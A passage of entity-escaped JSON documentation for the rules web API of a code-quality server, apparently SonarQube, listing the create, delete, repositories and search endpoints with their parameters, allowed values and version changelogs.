\u0026#34;css\u0026#34;, \u0026#34;scala\u0026#34;, \u0026#34;jsp\u0026#34;, \u0026#34;py\u0026#34;, \u0026#34;js\u0026#34;, \u0026#34;docker\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;web\u0026#34;, \u0026#34;flex\u0026#34;, \u0026#34;xml\u0026#34;, \u0026#34;json\u0026#34;, \u0026#34;text\u0026#34;, \u0026#34;vbnet\u0026#34;, \u0026#34;cloudformation\u0026#34;, \u0026#34;grvy\u0026#34;, \u0026#34;yaml\u0026#34;, \u0026#34;go\u0026#34;, \u0026#34;kotlin\u0026#34;, \u0026#34;neutral\u0026#34;, \u0026#34;secrets\u0026#34;, \u0026#34;ruby\u0026#34;, \u0026#34;cs\u0026#34;, \u0026#34;php\u0026#34;, \u0026#34;terraform\u0026#34;, \u0026#34;azureresourcemanager\u0026#34;, \u0026#34;ts\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;qualityProfile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile name.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Sonar way\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/rules\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get and update some details of automatic rules, and manage custom rules.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;create\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a custom rule.\\u003Cbr\\u003ERequires the \u0026#39;Administer Quality Profiles\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39; and \u0026#39;cleanCodeAttribute\u0026#39; parameters to the request\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameters \u0026#39;type\u0026#39; and \u0026#39;severity\u0026#39; are deprecated. Use \u0026#39;impacts\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;preventReactivation\u0026#39; is deprecated. Use api/rules/update endpoint instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Fields \u0026#39;type\u0026#39; and \u0026#39;severity\u0026#39; are deprecated in the response. Use \u0026#39;impacts\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Drop deprecated keys: \u0026#39;custom_key\u0026#39;, \u0026#39;template_key\u0026#39;, \u0026#39;markdown_description\u0026#39;, \u0026#39;prevent_reactivation\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Creating manual rule is not more possible\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;cleanCodeAttribute\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Clean code attribute\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;CONVENTIONAL\u0026#34;, \u0026#34;FORMATTED\u0026#34;, \u0026#34;IDENTIFIABLE\u0026#34;, \u0026#34;CLEAR\u0026#34;, \u0026#34;COMPLETE\u0026#34;, \u0026#34;EFFICIENT\u0026#34;, \u0026#34;LOGICAL\u0026#34;, \u0026#34;DISTINCT\u0026#34;, \u0026#34;FOCUSED\u0026#34;, \u0026#34;MODULAR\u0026#34;, \u0026#34;TESTED\u0026#34;, \u0026#34;LAWFUL\u0026#34;, \u0026#34;RESPECTFUL\u0026#34;, \u0026#34;TRUSTWORTHY\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;customKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the custom rule\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Todo_should_not_be_used\u0026#34;, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;impacts\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Impacts as semi-colon list of \u0026amp;lt;software_quality\u0026amp;gt;=\u0026amp;lt;severity\u0026amp;gt;\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SECURITY=HIGH;MAINTAINABILITY=LOW\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;markdownDescription\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule description in \\u003Ca href=\u0026#39;/formatting/help\u0026#39;\\u003Emarkdown format\\u003C/a\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Description of my custom rule\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My custom rule\u0026#34;, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;params\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Parameters as semi-colon list of \u0026amp;lt;key\u0026amp;gt;=\u0026amp;lt;value\u0026amp;gt;\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;key1=v1;key2=v2\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;preventReactivation\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;If set to true and if the rule has been deactivated (status \u0026#39;REMOVED\u0026#39;), a status 409 will be returned\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;severity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule severity\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;status\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule status\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;READY\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;BETA\u0026#34;, \u0026#34;DEPRECATED\u0026#34;, \u0026#34;READY\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;templateKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the template rule in order to create a custom rule\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java:XPath\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;type\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule type\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.7\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;CODE_SMELL\u0026#34;, \u0026#34;BUG\u0026#34;, \u0026#34;VULNERABILITY\u0026#34;, \u0026#34;SECURITY_HOTSPOT\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delete\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete custom rule.\\u003Cbr/\\u003ERequires the \u0026#39;Administer Quality Profiles\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java:S1144\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;repositories\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List available rule repositories\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.5\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;A language key; if provided, only repositories for the given language will be returned\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;A pattern to match repository keys/names against\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search for a collection of relevant rules matching a specified query.\\u003Cbr/\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The fields \u0026#39;type\u0026#39; and \u0026#39;severity\u0026#39; are deprecated in the response. Use \u0026#39;impacts\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;cleanCodeAttribute\u0026#39; has been added to the \u0026#39;f\u0026#39; parameter.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The value \u0026#39;severity\u0026#39; for the \u0026#39;f\u0026#39; parameter has been deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The values \u0026#39;cleanCodeAttributeCategories\u0026#39;, \u0026#39;impactSoftwareQualities\u0026#39; and \u0026#39;impactSeverities\u0026#39; have been added to the \u0026#39;facets\u0026#39; parameter.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The values \u0026#39;severity\u0026#39; and \u0026#39;types\u0026#39; for the \u0026#39;facets\u0026#39; parameter have been deprecated. Use \u0026#39;impactSeverities\u0026#39; and \u0026#39;impactSoftwareQualities\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameters \u0026#39;severities\u0026#39;, \u0026#39;types\u0026#39;, and \u0026#39;active_severities\u0026#39; are now deprecated. Use \u0026#39;impactSoftwareQualities\u0026#39; and \u0026#39;impactSeverities\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The deprecated field \u0026#39;effortToFixDescription\u0026#39; has been removed, use \u0026#39;gapDescription\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The deprecated field \u0026#39;debtRemFnCoeff\u0026#39; has been removed, use \u0026#39;remFnGapMultiplier\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The deprecated field \u0026#39;defaultDebtRemFnCoeff\u0026#39; has been removed, use \u0026#39;defaultRemFnGapMultiplier\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The deprecated field \u0026#39;debtRemFnOffset\u0026#39; has been removed, use \u0026#39;remFnBaseEffort\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The deprecated field \u0026#39;defaultDebtRemFnOffset\u0026#39; has been removed, use \u0026#39;defaultRemFnBaseEffort\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The deprecated field \u0026#39;debtOverloaded\u0026#39; has been removed, use \u0026#39;remFnOverloaded\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;defaultDebtRemFnType\u0026#39; has been deprecated, use \u0026#39;defaultRemFnType\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;debtRemFnType\u0026#39; has been deprecated, use \u0026#39;remFnType\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The value \u0026#39;debtRemFn\u0026#39; for the \u0026#39;f\u0026#39; parameter has been deprecated, use \u0026#39;remFn\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The value \u0026#39;defaultDebtRemFn\u0026#39; for the \u0026#39;f\u0026#39; parameter has been deprecated, use \u0026#39;defaultRemFn\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The value \u0026#39;sansTop25\u0026#39; for the parameter \u0026#39;facets\u0026#39; has been deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;sansTop25\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;response fields \u0026#39;total\u0026#39;, \u0026#39;s\u0026#39;, \u0026#39;ps\u0026#39; have been deprecated, please use \u0026#39;paging\u0026#39; object instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;paging\u0026#39; has been added to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;descriptionSections\u0026#39; can optionally embed a context field\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;educationPrinciples\u0026#39; has been added to the \u0026#39;f\u0026#39; parameter\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;htmlDesc\u0026#39; has been deprecated, use \u0026#39;descriptionSections\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;descriptionSections\u0026#39; has been added to the payload\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;descriptionSections\u0026#39; has been added to the \u0026#39;f\u0026#39; parameter\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;updatedAt\u0026#39; has been added to the \u0026#39;f\u0026#39; parameter\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;isExternal\u0026#39; has been added to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;includeExternal\u0026#39; has been added to the \u0026#39;f\u0026#39; parameter\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;scope\u0026#39; has been added to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;scope\u0026#39; has been added to the \u0026#39;f\u0026#39; parameter\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;effortToFixDescription\u0026#39; has been deprecated, use \u0026#39;gapDescription\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;debtRemFnCoeff\u0026#39; has been deprecated, use \u0026#39;remFnGapMultiplier\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;defaultDebtRemFnCoeff\u0026#39; has been deprecated, use \u0026#39;defaultRemFnGapMultiplier\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;debtRemFnOffset\u0026#39; has been deprecated, use \u0026#39;remFnBaseEffort\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;defaultDebtRemFnOffset\u0026#39; has been deprecated, use \u0026#39;defaultRemFnBaseEffort\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;debtOverloaded\u0026#39; has been deprecated, use \u0026#39;remFnOverloaded\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;activation\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter rules that are activated or deactivated on the selected Quality profile. Ignored if the parameter \u0026#39;qprofile\u0026#39; is not set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;active_severities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of activation severities, i.e the severity of rules in Quality profiles.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;CRITICAL,BLOCKER\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;asc\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Ascending sort\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;available_since\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filters rules added since date. Format is yyyy-MM-dd\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2014-06-22\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;cleanCodeAttributeCategories\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Clean Code Attribute Categories\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ADAPTABLE,INTENTIONAL\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;ADAPTABLE\u0026#34;, \u0026#34;CONSISTENT\u0026#34;, \u0026#34;INTENTIONAL\u0026#34;, \u0026#34;RESPONSIBLE\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;cwe\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of CWE identifiers. Use \u0026#39;unknown\u0026#39; to select rules not associated to any CWE.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;12,125,unknown\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;f\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of additional fields to be returned in the response. All the fields are returned by default, except actives.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;name,deprecatedKeys\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;actives\u0026#34;, \u0026#34;cleanCodeAttribute\u0026#34;, \u0026#34;createdAt\u0026#34;, \u0026#34;debtRemFn\u0026#34;, \u0026#34;defaultDebtRemFn\u0026#34;, \u0026#34;defaultRemFn\u0026#34;, \u0026#34;deprecatedKeys\u0026#34;, \u0026#34;descriptionSections\u0026#34;, \u0026#34;educationPrinciples\u0026#34;, \u0026#34;gapDescription\u0026#34;, \u0026#34;htmlDesc\u0026#34;, \u0026#34;htmlNote\u0026#34;, \u0026#34;internalKey\u0026#34;, \u0026#34;isExternal\u0026#34;, \u0026#34;isTemplate\u0026#34;, \u0026#34;lang\u0026#34;, \u0026#34;langName\u0026#34;, \u0026#34;mdDesc\u0026#34;, \u0026#34;mdNote\u0026#34;, \u0026#34;name\u0026#34;, \u0026#34;noteLogin\u0026#34;, \u0026#34;params\u0026#34;, \u0026#34;remFn\u0026#34;, \u0026#34;remFnOverloaded\u0026#34;, \u0026#34;repo\u0026#34;, \u0026#34;scope\u0026#34;, \u0026#34;severity\u0026#34;, \u0026#34;status\u0026#34;, \u0026#34;sysTags\u0026#34;, \u0026#34;tags\u0026#34;, \u0026#34;templateKey\u0026#34;, \u0026#34;updatedAt\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;facets\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of the facets to be computed. No facet is computed by default.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;languages,repositories\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;languages\u0026#34;, \u0026#34;repositories\u0026#34;, \u0026#34;tags\u0026#34;, \u0026#34;severities\u0026#34;, \u0026#34;active_severities\u0026#34;, \u0026#34;statuses\u0026#34;, \u0026#34;types\u0026#34;, \u0026#34;true\u0026#34;, \u0026#34;cwe\u0026#34;, \u0026#34;owaspTop10\u0026#34;, \u0026#34;owaspTop10-2021\u0026#34;, \u0026#34;sansTop25\u0026#34;, \u0026#34;sonarsourceSecurity\u0026#34;, \u0026#34;cleanCodeAttributeCategories\u0026#34;, \u0026#34;impactSeverities\u0026#34;, \u0026#34;impactSoftwareQualities\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;impactSeverities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Software Quality Severities\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;HIGH,MEDIUM\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;LOW\u0026#34;, \u0026#34;MEDIUM\u0026#34;, \u0026#34;HIGH\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;impactSoftwareQualities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Software Qualities\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;MAINTAINABILITY,RELIABILITY\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;MAINTAINABILITY\u0026#34;, \u0026#34;RELIABILITY\u0026#34;, \u0026#34;SECURITY\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;include_external\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Include external engine rules in the results\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;inheritance\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of values of inheritance for a rule within a quality profile. Used only if the parameter \u0026#39;activation\u0026#39; is set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;INHERITED,OVERRIDES\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;NONE\u0026#34;, \u0026#34;INHERITED\u0026#34;, \u0026#34;OVERRIDES\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;is_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter template rules\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;languages\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of languages\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java,js\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;owaspTop10\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of OWASP Top 10 2017 lowercase categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.3\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;a1\u0026#34;, \u0026#34;a2\u0026#34;, \u0026#34;a3\u0026#34;, \u0026#34;a4\u0026#34;, \u0026#34;a5\u0026#34;, 